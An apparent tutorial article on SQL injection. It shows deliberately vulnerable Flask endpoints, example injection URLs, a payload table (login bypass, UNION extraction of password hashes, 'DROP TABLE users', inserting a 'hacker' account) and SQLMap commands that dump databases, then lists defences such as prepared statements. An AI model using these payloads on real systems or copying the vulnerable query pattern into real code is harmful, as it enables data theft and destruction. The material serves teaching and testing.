SQL
cybersecurity
pentesting
✋ This article assumes you have a basic understanding of creating an API endpoint using HTTP and pass variables either as query strings or form values. We also assume a very basic understanding of SQL and how it works.
SQL Injection is a web vulnerability that allows an attacker to interfere with the queries a website makes to its database. It can enable unauthorized access to data, including sensitive information.
SQL Injection occurs when an application fails to properly sanitize user inputs before using them in SQL queries. When user input is directly incorporated into a query, malicious actors can inject SQL code to manipulate the query, accessing or modifying unauthorized data. The key reason behind SQL injection vulnerabilities is improper validation or filtering of user input, allowing harmful SQL commands to be executed.
Classic SQL Injection: Direct feedback is provided by the database, which helps attackers exploit the vulnerability faster.
Blind SQL Injection: No visible error messages are displayed, making it harder to exploit. Attackers rely on true/false responses to infer whether the injection was successful.
Below are examples of classic and blind SQL injection vulnerabilities using Python with Flask.
Here is the sample code for a Flask API that contains an SQL Injection Vulnerability
1from flask import Flask, request 2import sqlite3 3 4# We create a new website 5app = Flask(__name__) 6 7# We specify that the website will have a /classic directory url, for example: mywebsite.com/classic 8@app.route('/classic') 9def classic_sql_injection(): 10 # the variable "id" is received from the URL, for example: mywebsite.com/classic?id=1 11 user_id = request.args.get('id') 12 13 conn = sqlite3.connect('example.db') 14 cur = conn.cursor() 15 # Here is the vulnerability, the variable user_id could contain any value, including SQL Statements. 16 query = f"SELECT * FROM users WHERE id = {user_id}" # Vulnerable code 17 cur.execute(query) 18 result = cur.fetchone() 19 conn.close() 20 21 if result: 22 return f"User found: {result}" 23 return "User not found" 24 25if __name__ == "__main__": 26 app.run(debug=True)
An attacker can manipulate the id
parameter with the vollowing value ` as follows:
http://your-website.com/classic?id=1 OR 1=1
This will return all users because the query becomes:
1SELECT * FROM users WHERE id = 1 OR 1=1;
1@app.route('/blind') 2def blind_sql_injection(): 3 user_id = request.args.get('id') 4 conn = sqlite3.connect('example.db') 5 cur = conn.cursor() 6 query = f"SELECT * FROM users WHERE id = {user_id} AND name='John'" # Vulnerable code 7 cur.execute(query) 8 result = cur.fetchone() 9 conn.close() 10 11 if result: 12 return "User exists" 13 return "User does not exist"
Blind SQL Injection works without direct output. For instance, if an attacker wants to check if a user exists:
http://localhost:5000/blind?id=1 AND 1=1
This won't reveal data directly but allows inference through whether the result is "User exists"
or "User does not exist"
.
The following categories can either be blind or classic:
An attacker forces the database to generate an error that reveals details about the database schema.
Example:
http://example.com/page?id=1' AND 1=CONVERT(int, 'test')
The database error message might leak valuable information about the data type or structure.
Union queries allow attackers to combine the results of two different queries.
Example:
http://example.com/page?id=1 UNION SELECT username, password FROM users
This retrieves the contents of the users
table.
No error messages are shown, but an attacker can infer the result of queries through true/false conditions.
Example:
http://example.com/page?id=1 AND 1=1 -- True, page loads normally
http://example.com/page?id=1 AND 1=2 -- False, different behavior
The attacker can exploit time delays to infer the success of their queries.
Example:
http://example.com/page?id=1 AND IF(1=1, SLEEP(5), 0)
You can add a section in the article that addresses SQL injection via cookies and localStorage. Here's how you might incorporate it into the existing content:
In addition to injecting malicious SQL through query strings and form values, attackers can also exploit insecure data storage mechanisms such as cookies and localStorage. These mechanisms are often used by web applications to store session-related information or user preferences, but if the data stored is used unsafely in SQL queries, it can lead to injection vulnerabilities.
Let's assume you have a web application that stores the user's ID in a cookie and uses this ID to retrieve data from the database. Here's a vulnerable example in Flask:
1from flask import Flask, request 2import sqlite3 3 4app = Flask(__name__) 5 6@app.route('/cookie') 7def cookie_sql_injection(): 8 user_id = request.cookies.get('user_id') # Retrieve user ID from cookie 9 conn = sqlite3.connect('example.db') 10 cur = conn.cursor() 11 12 query = f"SELECT * FROM users WHERE id = {user_id}" # Vulnerable code 13 cur.execute(query) 14 result = cur.fetchone() 15 conn.close() 16 17 if result: 18 return f"User found: {result}" 19 return "User not found" 20 21if __name__ == "__main__": 22 app.run(debug=True)
In this example, the user_id
stored in the cookie is directly used in the SQL query without proper sanitization. An attacker can modify the cookie in their browser's developer tools and inject SQL code.
Exploiting the vulnerability:
The attacker could manipulate the user_id
cookie to inject a malicious SQL query:
user_id=1 OR 1=1;
This will modify the query to:
1SELECT * FROM users WHERE id = 1 OR 1=1;
As a result, all users will be retrieved from the database, and sensitive data could be leaked.
LocalStorage is a browser-based storage mechanism that allows web applications to store data on the client side. If an application retrieves data from localStorage and directly uses it in SQL queries without validation, this can lead to SQL injection vulnerabilities.
In a front-end JavaScript app, the user_id
could be retrieved from localStorage and passed as part of an HTTP request to the Flask API:
1// Simulating vulnerable code in front-end 2let userId = localStorage.getItem("user_id"); 3fetch(`/localstorage?user_id=${userId}`) 4 .then(response => response.text()) 5 .then(data => console.log(data));
Attackers can easily manipulate localStorage
data through the browser's developer tools:
1localStorage.setItem("user_id", "1 OR 1=1");
This would allow an SQL injection attack similar to the cookie example.
SQL injection payloads are specific inputs crafted by attackers to manipulate SQL queries in vulnerable applications. These payloads exploit weaknesses in handling user input and can result in data exfiltration, database manipulation, or unauthorized access. Below are some common types of SQL injection payloads, categorized by their purpose or technique:
Payload Type | SQL Injection Payload | Description |
---|---|---|
Authentication Bypass | ' OR 1=1 -- | Bypasses login by making the condition always true. |
Extract Data | ' UNION SELECT username, password FROM users -- | Retrieves usernames and passwords from the users table using the UNION keyword. |
Error-Based Injection | 1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) -- | Forces an error to reveal the database name and structure details. |
Union-Based Injection | ' UNION SELECT null, null, database(), null -- | Returns the current database name using a UNION query. |
Time-Based Blind | 1' AND IF(1=1, SLEEP(5), 0) -- | Delays the response by 5 seconds if the condition is true (useful for blind SQL injection). |
Boolean-Based Blind | 1' AND 1=1 -- | This evaluates to true and the page will load normally. Used for blind SQL injection to infer database behavior. |
Extract Column Data | ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- | Retrieves all column names from the users table. |
Comment Injection | 1'; DROP TABLE users -- | Drops the users table by terminating the query and appending a malicious SQL command. |
Stacked Queries (MySQL) | 1'; INSERT INTO users (username, password) VALUES ('hacker', '12345') -- | Executes two queries: one regular and one malicious (inserting a new user). |
Extract MySQL Version | ' UNION SELECT @@version, null, null -- | Retrieves the MySQL version using @@version . |
Check Database User | ' UNION SELECT user(), null, null -- | Returns the current database user. |
Extract All Databases | ' UNION SELECT schema_name FROM information_schema.schemata -- | Retrieves the names of all databases on the server. |
Retrieve Password Hashes | ' UNION SELECT username, password FROM mysql.user -- | Retrieves username and password hashes from the MySQL user table. |
Blind Injection (True) | 1' AND 1=1 -- | Boolean-based blind injection. The query will always return true. |
Blind Injection (False) | 1' AND 1=2 -- | Boolean-based blind injection. The query will return false, useful for deducing database structure. |
By using these payloads and understanding how each one works, attackers can manipulate database queries in various ways, depending on the application's vulnerability and the underlying database. However, to prevent these attacks, all inputs should be handled securely using prepared statements and proper input validation.
You can perform automatic SQL injection tests using various tools designed to identify and exploit SQL injection vulnerabilities in web applications. These tools help automate the process of testing, detecting, and even exploiting potential SQL injection flaws.
Automatic SQL injection tests are a powerful way to quickly identify web application vulnerabilities. Tools like SQLMap, OWASP ZAP, Burp Suite, and others can efficiently scan for SQL injection flaws and help ensure your web applications are secure. However, while automated tools are highly effective, it's essential to complement them with manual testing and secure coding practices to ensure full coverage.
Here’s an overview of how to perform automatic SQL injection testing and some commonly used tools:
SQLMap is an open-source and highly automated tool that tests and exploits SQL injection vulnerabilities. It supports a wide range of databases (MySQL, PostgreSQL, Oracle, SQL Server, etc.) and can perform complex injection techniques like time-based blind injections, union-based injections, and more.
Simple command to scan a URL for SQL injection:
1sqlmap -u "http://example.com/index.php?id=1"
SQLMap will then automatically test for and exploit potential SQL injections.
You do not need to explicitly specify the variable names like id
for SQLMap to work. SQLMap is designed to automatically identify and test all query string parameters (like id=1
in this case) for SQL injection vulnerabilities.
However, if you want SQLMap to focus on a specific parameter (such as id
) and ignore others, you can use the -p
option to explicitly specify the parameter you want to test. For example:
1sqlmap -u "http://example.com/index.php?id=1&name=John" -p id
In this case, SQLMap will only test the id
parameter for SQL injection, ignoring the name
parameter. If you don't use the -p
option, SQLMap will default test all parameters (id
and name
).
OWASP ZAP is a web application security scanner with SQL injection testing as part of its automated scan. It’s widely used for testing web applications and is beginner-friendly.
Here’s an example of how to run SQLMap for an automatic SQL injection test:
Run SQLMap against a target URL:
1sqlmap -u "http://example.com/index.php?id=1"
This command will start testing the URL parameter id=1
for SQL injection vulnerabilities.
If the URL is vulnerable, SQLMap will detect the injection and display details about the type of injection.
SQLMap can also be used to extract database information:
1sqlmap -u "http://example.com/index.php?id=1" --dbs
This command will retrieve a list of databases from the target.
To dump the contents of a specific table, you can run:
1sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
Use Prepared Statements (also known as parameterized queries): Instead of directly inserting user input into SQL queries, use prepared statements to safely bind parameters to queries.
Example:
1query = "SELECT * FROM users WHERE id = ?" 2cur.execute(query, (user_id,))
Input Validation: Validate the type, length, and format of user inputs before processing them in queries. Reject any inputs that do not conform to expected patterns.
ORMs (Object-Relational Mapping): Using ORMs like SQLAlchemy in Python abstracts the raw SQL queries and prevents injection by design.
Stored Procedures: Use stored procedures instead of dynamic SQL queries for critical database interactions.
Error Handling: Prevent database errors from being displayed to users, as they can leak valuable information about the system.
'
, "
, and ;
to prevent query manipulation.